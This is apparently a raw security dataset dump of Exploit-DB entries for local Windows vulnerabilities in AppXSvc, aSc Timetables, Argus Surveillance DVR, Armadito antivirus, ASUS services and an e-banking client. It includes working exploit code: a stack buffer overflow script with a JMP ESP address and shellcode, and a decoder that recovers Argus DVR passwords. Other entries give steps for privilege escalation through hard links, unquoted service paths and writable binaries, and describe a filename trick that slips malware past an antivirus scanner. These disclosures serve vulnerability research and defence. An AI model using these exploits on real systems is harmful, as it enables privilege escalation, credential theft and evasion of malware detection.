deardaniel/secdata-raw huggingface dataset:
Exploit-DB #47389
Description: AppXSvc - Privilege Escalation
Type: local
Platform: windows
Date: 2019-09-16
Author: Gabor Seljan

Exploit:
#-----------------------------------------------------------------------------#
# Exploit Title: AppXSvc - Arbitrary File Security Descriptor Overwrite (EoP) #
# Date: Sep 4 2019                                                            #
# Exploit Author: Gabor Seljan                                                #
# Vendor Homepage: https://www.microsoft.com/                                 #
# Version: 17763.1.amd64fre.rs5_release[PII_REDACTED]                           #
# Tested on: Windows 10 Version 1809 for x64-based Systems                    #
# CVE: CVE-2019-1253                                                          #
#-----------------------------------------------------------------------------#

Summary:

AppXSvc improperly handles file hard links resulting in a low privileged user
being able to take 'Full Control' of an arbitrary file leading to elevation of
privilege.

Description:

An elevation of privilege vulnerability exists when the AppX Deployment Server
(AppXSvc) improperly handles file hard links. While researching CVE-2019-0841
originally reported by Nabeel Ahmed, I have found that AppXSvc sometimes opens
the settings.dat[.LOGx] files of Microsoft Edge for a restore operation that
modifies the security descriptor of the files. Further analyzis revealed that
the restore operation can be triggered on demand by preventing AppXSvc from
accessing the settings.dat[.LOGx] files. This can be achieved by locking the
settings.dat[.LOGx] file, resulting in 'Access Denied' and 'Sharing Violation'
errors when Edge and AppXSvc are trying to access it. Eventually the restore
operation kicks in and if the settings.dat[.LOGx] file has been replaced with
a hard link AppXSvc will overwrite the security descriptor of the target file.
A low privileged user can leverage this vulnerability to take 'Full Control'
of an arbitrary file.

Steps to reproduce:
1. Terminate Edge.
2. Create a hard link from settings.dat.LOG2 to C:\Windows\win.ini.
3. Open the hard link for reading and lock the file.
4. Start Edge and wait a few seconds for the restore operation to kick in.
5. Unlock the file and close the file handle.

Expected result:
Full access (GENERIC_ALL) to C:\Windows\win.ini is denied.

Observed result:
C:\Windows\win.ini has had it's security descriptor rewritten to grant
'Full Control' to the low privileged user.

PoC files:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47389.zip

References:
https://github.com/sgabe/CVE-2019-1253
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1253
https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841
Exploit-DB #50261
Description: Argus Surveillance DVR 4.0 - Unquoted Service Path
Type: local
Platform: windows
Date: 2021-09-06
Author: Salman Asad

Exploit:
# Exploit Title: Argus Surveillance DVR 4.0 - Unquoted Service Path
# Exploit Author: Salman Asad (@deathflash1411) a.k.a LeoBreaker
# Date: 03.09.2021
# Version: Argus Surveillance DVR 4.0
# Tested on: Windows 10

# Note: "Start as service on Windows Startup" must be enabled in Program Options

# Proof of Concept:

C:\Users\death>sc qc ARGUSSURVEILLANCEDVR_WATCHDOG
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ARGUSSURVEILLANCEDVR_WATCHDOG
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Argus Surveillance DVR\DVRWatchdog.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Argus Surveillance DVR Watchdog
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\death>cmd /c wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
Argus Surveillance DVR Watchdog         ARGUSSURVEILLANCEDVR_WATCHDOG           C:\Program Files\Argus Surveillance DVR\DVRWatchdog.exe         Auto
Exploit-DB #50130
Description: Argus Surveillance DVR 4.0 - Weak Password Encryption
Type: local
Platform: windows
Date: 2021-07-16
Author: Salman Asad

Exploit:
# Exploit Title: Argus Surveillance DVR 4.0 - Weak Password Encryption
# Exploit Author: Salman Asad (@deathflash1411) a.k.a LeoBreaker
# Date: 12.07.2021
# Version: Argus Surveillance DVR 4.0
# Tested on: Windows 7 x86 (Build 7601) & Windows 10
# Reference: https://deathflash1411.github.io/blog/dvr4-hash-crack

# Note: Argus Surveillance DVR 4.0 configuration is present in 
# C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini

# I'm too lazy to add special characters :P
characters = {
'ECB4':'1','B4A1':'2','F539':'3','53D1':'4','894E':'5',
'E155':'6','F446':'7','C48C':'8','8797':'9','BD8F':'0',
'C9F9':'A','60CA':'B','E1B0':'C','FE36':'D','E759':'E',
'E9FA':'F','39CE':'G','B434':'H','5E53':'I','4198':'J',
'8B90':'K','7666':'L','D08F':'M','97C0':'N','D869':'O',
'7357':'P','E24A':'Q','6888':'R','4AC3':'S','BE3D':'T',
'8AC5':'U','6FE0':'V','6069':'W','9AD0':'X','D8E1':'Y','C9C4':'Z',
'F641':'a','6C6A':'b','D9BD':'c','418D':'d','B740':'e',
'E1D0':'f','3CD9':'g','956B':'h','C875':'i','696C':'j',
'906B':'k','3F7E':'l','4D7B':'m','EB60':'n','8998':'o',
'7196':'p','B657':'q','CA79':'r','9083':'s','E03B':'t',
'AAFE':'u','F787':'v','C165':'w','A935':'x','B734':'y','E4BC':'z','!':'B398'}

# ASCII art is important xD
banner = '''
#########################################
#    _____ Surveillance DVR 4.0         #
#   /  _  \_______  ____  __ __  ______ #
#  /  /_\  \_  __ \/ ___\|  |  \/  ___/ #
# /    |    \  | \/ /_/  >  |  /\___ \  #
# \____|__  /__|  \___  /|____//____  > #
#         \/     /_____/            \/  #
#        Weak Password Encryption       #
############ @deathflash1411 ############
'''
print(banner)

# Change this :)
pass_hash = "418DB740F641E03B956BE1D03F7EF[PII_REDACTED]BECB453D1ECB4ECB4"
if (len(pass_hash)%4) != 0:
	print("[!] Error, check your password hash")
	exit()
split = []
n = 4
for index in range(0, len(pass_hash), n):
	split.append(pass_hash[index : index + n])

for key in split:
	if key in characters.keys():
		print("[+] " + key + ":" + characters[key])
	else:
		print("[-] " + key + ":Unknown")
Exploit-DB #44169
Description: Armadito Antivirus 0.12.7.2 - Detection Bypass
Type: local
Platform: windows
Date: 2018-02-22
Author: Souhail Hammou

Exploit:
/*
Title: Armadito Antivirus - Malware Detection Bypass 
Date: 21/02/2018
Author: Souhail Hammou
Author's website: http://rce4fun.blogspot.com
Vendor Homepage: http://www.teclib-edition.com/en/
Version: 0.12.7.2
CVE: CVE-2018-7289


Details:
--------
An issue was discovered in armadito-windows-driver/src/communication.c affecting Armadito 0.12.7.2 and previous versions.
Malware with filenames containing pure UTF-16 characters can bypass detection. 
The user-mode service will fail to open the file for scanning after the conversion is done from Unicode to ANSI. 
This happens because characters that cannot be converted from Unicode are replaced with the '?' character.

The code responsible for this issue is located in armadito-windows-driver/src/communication.c

========================================================================================================
		 // Convert unicode string to ansi string for ring 3 process.		 
		 ntStatus = RtlUnicodeStringToAnsiString(&AnsiString, (PCUNICODE_STRING)FilePath, TRUE); 
		 if(!NT_SUCCESS(ntStatus)){ 
			DbgPrint("[-] Error :: ArmaditoGuard!SendScanOrder :: RtlUnicodeStringToAnsiString() routine failed !! \n"); 
			__leave; 
		 } 
========================================================================================================

The two examples below demonstrate the bug. 
In the first case, the filename is in Arabic and in the second, the filename's first letter is the greek M (U+039C).


Original filename:
 مرحبا.exe : 0645 0631 062d 0628 0627 002e 0065 0078 0065 

Converted to ANSI by Armadito:
 ?????.exe : 3f 3f 3f 3f 3f 2e 65 78 65 

=============================

Original filename:
 Μalware.exe : 039c 0061 006c [PII_REDACTED] 002e 0065 0078 0065 

Converted to ANSI by Armadito:
 ?alware.exe : 3f 61 6c 77 61 72 65 2e 65 78 65 


See: https://github.com/armadito/armadito-windows-driver/issues/5
*/
Exploit-DB #26409
Description: aSc Timetables 2013 - Local Stack Buffer Overflow
Type: local
Platform: windows
Date: 2013-06-24
Author: Dark-Puzzle

Exploit:
#!/usr/bin/python
# Title 			: ASC Timetables 2013 - Stack Buffer Overflow Vulnerability
# Researcher 		: Souhail Hammou (Dark-Puzzle)
# Research Team		: http://itsecurity.ma
# Facebook			: http://www.facebook.com/dark.puzzle.sec
# Date				: 22/06/2013
# Download Website 	: www.asctimetables.com/download_en.html
##########################################################
# Software Details :
# ASC timetables is a school scheduling software used widely by many schools around the globe to generate unique timetables for students.
# it has the features to add school subjects , teachers and manipulate time.
# Vulnerability details :
# The buffer overflow vulnerability resides in the Add subject functionality, and it's triggered when the user will submit a large string when specifying the 
#school subject name. To trigger the vulnerability go to the main menu , select subjects , click new then generate a string with the code below and the 
#software will execute the shellcode which will popup a MessageBox.
# Picture : http://oi40.tinypic.com/30rwc2q.jpg

garbage = "D"*512
eip = "\xCB\xC0\x8F\x75" #JMP ESP from kernel32.dll
nopsled = "\x90"*177
shellcode = "\xB8\x23\x58\xA7\x11\x2D\x11\x11\x11\x11\x6A\x14\x50\x50\x33\xC0\x50\xB8\x98\x34\x69\x11\x2D\x11\x11\x11\x11\xFF\xE0"
# I have written this shellcode which will popup a "Yes/No" MessageBox with Title and Message : iteDump
#MOV EAX,11A75823
#SUB EAX,11111111
#PUSH 14
#PUSH EAX
#PUSH EAX
#XOR EAX,EAX
#PUSH EAX
#MOV EAX,11693498
#SUB EAX,11111111
#JMP EAX
ToInsert = open("file.txt", "w")
ToInsert.write(garbage+eip+nopsled+shellcode)
ToInsert.close()
Exploit-DB #41031
Description: aSc Timetables 2017 - Local Buffer Overflow
Type: local
Platform: windows
Date: 2017-01-12
Author: Peter Baris

Exploit:
# Exploit Title: aSc Timetables 2017 input field buffer overflow and code execution
# Date: 2017-01-12
# Exploit Author: Peter Baris
# Exploit code: http://saptech-erp.com.au/resources/Timetables.zip
# Exploit documentation: http://saptech-erp.com.au/resources/TimeTables_2017.pdf
# Software Link: http://www.asctimetables.com/download/aScTimeTables.exe  
# Version: 1.0.0.1
# Tested on: Windows Server 2008 R2 x64, Windows 7 Pro x64, Windows Server 2012 R2 x64, Windows Server 2016 x64

POC:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41031.zip
Exploit-DB #49147
Description: aSc TimeTables 2021.6.2 - Denial of Service (PoC)
Type: local
Platform: windows
Date: 2020-12-02
Author: Ismael Nava

Exploit:
# Exploit Title: aSc TimeTables 2021.6.2 - Denial of Service (PoC)
# Date: 2020-01-12
# Exploit Author: Ismael Nava
# Vendor Homepage: https://www.asctimetables.com/#!/home
# Software Link: https://www.asctimetables.com/#!/home/download
# Version:  2021.6.2
# Tested on: Windows 10 Home x64

# STEPS
# Open the program aSc Timetables 2021
# In File select the option New
# Put any letter in the fiel Name of the Schooland click Next
# In the next Windows click NEXT
# In the Step 3, in Subject click in New 
# Run the python exploit script, it will create a new .txt files
# Copy the content of the file "Metoo.txt"
# Paste the content in the field Subject title
# Click in OK
# End :)

buffer = 'Z' * 10000

try: 
    file = open("Metoo.txt","w")
    file.write(buffer)
    file.close()

    print("Archive ready")
except:
    print("Archive no ready")
Exploit-DB #40520
Description: ASLDRService ATK Hotkey 1.0.69.0 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-13
Author: Cyril Vallicari

Exploit:
----------------------------------------------------------------------------------------------------------
# Exploit Title:   ASLDRService ATK Hotkey- Privilege Escalation Unquoted Service Path
# Date: 13/10/2016
# Exploit Author : Cyril Vallicari
# Vendor Homepage: www.asus.com
# Version:  1.0.69.0
# Tested on: Windows 7 x64 SP1 (but it should works on all windows version)
 
The application suffers from an unquoted service path issue impacting the service 'ASLDRService' deployed as part of ATK Hotkey
This could potentially allow an authorized but non-privileged local user to execute arbitrary code witystem privileges on the system.
 
POC :
 
 
C:\Users\Utilisateur>sc qc ASLDRService
[SC] QueryServiceConfig réussite(s)

SERVICE_NAME: ASLDRService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\ASUS\ATK Package\ATK Hotkey\ASLDRSrv.exe
        LOAD_ORDER_GROUP   : ShellSvcGroup
        TAG                : 0
        DISPLAY_NAME       : ASLDR Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


Additional notes :

https://hackerone.com/blog/asus-vulnerability-disclosure-deja-vu
Exploit-DB #31460
Description: Asseco SEE iBank FX Client 2.0.9.3 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2014-02-06
Author: LiquidWorm

Exploit:

Asseco SEE iBank FX Client <= 2.0.9.3 Local Privilege Escalation Vulnerability


Vendor: Asseco SEE
Product web page: http://www.asseco.com
Affected version: 2.0.9.3 (Build 22.06.2011) - Desktop/Enterprise Edition
                  1.2
                  1.1.5.1270 (Service Pack 5) - Desktop Edition
                  1.1.5.1247
                  1.0

Application download resource: http://24x7.com.mk/Download.aspx
                               http://www.24x7.rs/eng/content.asp?idmenu1=23&idmenu2=33

Summary: FX Client is an offline application for e-banking that is intended only
for legal entities.

Desc: The application is vulnerable to an elevation of privileges vulnerability
which can be used by a simple user that can change the executable file with a
binary of choice. The vulnerability exist due to the improper permissions, with
the 'F' flag (full) for the 'Everyone' and 'Users' group, for the 'RichClient.exe'
and 'fxclient.exe' binary files making them world-writable. After you replace the
binary with your rootkit, on reboot you get SYSTEM privileges.


Tested on: Microsoft Windows 7 Ultimate SP1 (EN) 32/64bit
           Microsoft Windows 7 Professional SP1 (EN) 32/64bit
           Microsoft Windows XP Professional SP3 (EN) 32bit


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2014-5168
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5168.php

CWE ID: 276
CWE URL: https://cwe.mitre.org/data/definitions/276.html


10.01.2014

---


C:\Program Files (x86)\PEXIM\FXClient>icacls RichClient.exe
RichClient.exe NT AUTHORITY\SYSTEM:(I)(F)
               BUILTIN\Administrators:(I)(F)
               BUILTIN\Users:(I)(F)

Successfully processed 1 files; Failed processing 0 files

C:\Program Files (x86)\PEXIM\FXClient>

--

C:\Program Files (x86)\Pexim Solutions\FX Client>icacls fxclient.exe
fxclient.exe Everyone:(F)
             NT AUTHORITY\SYSTEM:(F)

Successfully processed 1 files; Failed processing 0 files

C:\Program Files (x86)\Pexim Solutions\FX Client>
Exploit-DB #48206
Description: ASUS AAHM 1.00.22 - 'asHmComSvc' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-03-12
Author: Roberto Piña

Exploit:
# Exploit Title: ASUS AAHM 1.00.22 - 'asHmComSvc' Unquoted Service Path
# Discovery by: Roberto Piña
# Discovery Date: 2020-03-11
# Vendor Homepage: https://www.asus.com/
# Software Link :https://dlcdnets.asus.com/pub/ASUS/misc/utils/AISuite3_Win10_H97M-Pro_V10102.zip?_ga=2.170[PII_REDACTED][PII_REDACTED][PII_REDACTED]66[PII_REDACTED]755
# Tested Version: 1.00.22
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Home x64 en

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "asHmComSvc" | findstr /i /v """
ASUS HM Com Service                                                                 asHmComSvc                                C:\Program Files (x86)\ASUS\AAHM\1.00.22\aaHMSvc.exe                                                                                    Auto

C:\>sc qc asHmComSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: asHmComSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\ASUS\AAHM\1.00.22\aaHMSvc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : ASUS HM Com Service
        DEPENDENCIES       : RpcSs
        SERVICE_START_NAME : LocalSystem


#Exploit:
# A successful attempt would require the local user to be able to insert their code in the system root path 
# undetected by the OS or other security applications where it could potentially be executed during 
# application startup or reboot. If successful, the local user's code would execute with the elevated 
# privileges of the application.
Exploit-DB #48193
Description: ASUS AXSP 1.02.00 - 'asComSvc' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-03-11
Author: Roberto Piña

Exploit:
# Exploit Title: ASUS AXSP 1.02.00 - 'asComSvc' Unquoted Service Path
# Discovery by: Roberto Piña
# Discovery Date: 2020-03-10
# Vendor Homepage: https://www.asus.com/
# Software Link :https://dlcdnets.asus.com/pub/ASUS/misc/utils/AISuite3_Win10_H97M-Pro_V10102.zip?_ga=2.170[PII_REDACTED][PII_REDACTED][PII_REDACTED]66[PII_REDACTED]755
# Tested Version: 1.02.00
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Home x64 en

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "asComSvc" | findstr /i /v """
ASUS Com Service                                                                    asComSvc                                  C:\Program Files (x86)\ASUS\AXSP\1.02.00\atkexComSvc.exe                                                                       Auto

C:\>sc qc asComSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: asComSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\ASUS\AXSP\1.02.00\atkexComSvc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : ASUS Com Service
        DEPENDENCIES       : RpcSs
        SERVICE_START_NAME : LocalSystem


#Exploit:
# A successful attempt would require the local user to be able to insert their code in the system root path 
# undetected by the OS or other security applications where it could potentially be executed during 
# application startup or reboot. If successful, the local user's code would execute with the elevated 
# privileges of the application.
Exploit-DB #51939
Description: ASUS Control Center Express 01.06.15 - Unquoted Service Path
Type: local
Platform: windows
Date: 2024-04-02
Author: Alaa Kachouh

Exploit:
# Exploit Title: ASUS Control Center Express 01.06.15 - Unquoted Service Path
Privilege Escalation
# Date: 2024-04-02
# Exploit Author: Alaa Kachouh
# Vendor Homepage:
https://www.asus.com/campaign/ASUS-Control-Center-Express/global/
# Version: Up to 01.06.15
# Tested on: Windows
# CVE: CVE-2024-27673

===================================================================
ASUS Control Center Express Version =< 01.06.15 contains an unquoted
service path which allows attackers to escalate privileges to the system
level.
Assuming attackers have write access to C:\, the attackers can abuse the
Asus service "Apro console service"/apro_console.exe which upon restarting
will invoke C:\Program.exe with SYSTEM privileges.

The binary path of the service alone isn't susceptible, but upon its
initiation, it will execute C:\program.exe as SYSTEM.

Service Name: AProConsoleService
binary impacted: apro_console.exe

# If a malicious payload is inserted into C:\  and service is executed in
any way, this can grant privileged access to the system and perform
malicious activities.
Exploit-DB #50985
Description: Asus GameSDK v1.0.0.4 - 'GameSDK.exe' Unquoted Service Path
Type: local
Platform: windows
Date: 2022-07-29
Author: Angelo Pio Amirante

Exploit:
# Exploit Title: Asus GameSDK v1.0.0.4 - 'GameSDK.exe' Unquoted Service Path
# Date: 07/14/2022
# Exploit Author: Angelo Pio Amirante
# Version: 1.0.0.4
# Tested on: Windows 10
# Patched version: 1.0.5.0
# CVE: CVE-2022-35899

# Step to discover the unquoted service path:

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

# Info on the service:

C:\>sc qc "GameSDK Service"
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: GameSDK Service
        TIPO                      : 10  WIN32_OWN_PROCESS
        TIPO_AVVIO                : 2   AUTO_START
        CONTROLLO_ERRORE          : 1   NORMAL
        NOME_PERCORSO_BINARIO     : C:\Program Files (x86)\ASUS\GameSDK Service\GameSDK.exe
        GRUPPO_ORDINE_CARICAMENTO :
        TAG                       : 0
        NOME_VISUALIZZATO         : GameSDK Service
        DIPENDENZE                :
        SERVICE_START_NAME : LocalSystem

# Exploit
If an attacker had already compromised the system and the current user has the privileges to write in the "C:\Program Files (x86)\ASUS\" folder or in "C:\" , he could place his own "Program.exe" or "GameSDK.exe" files respectively, and when the service starts, it would launch the malicious file, rather than the original "GameSDK.exe".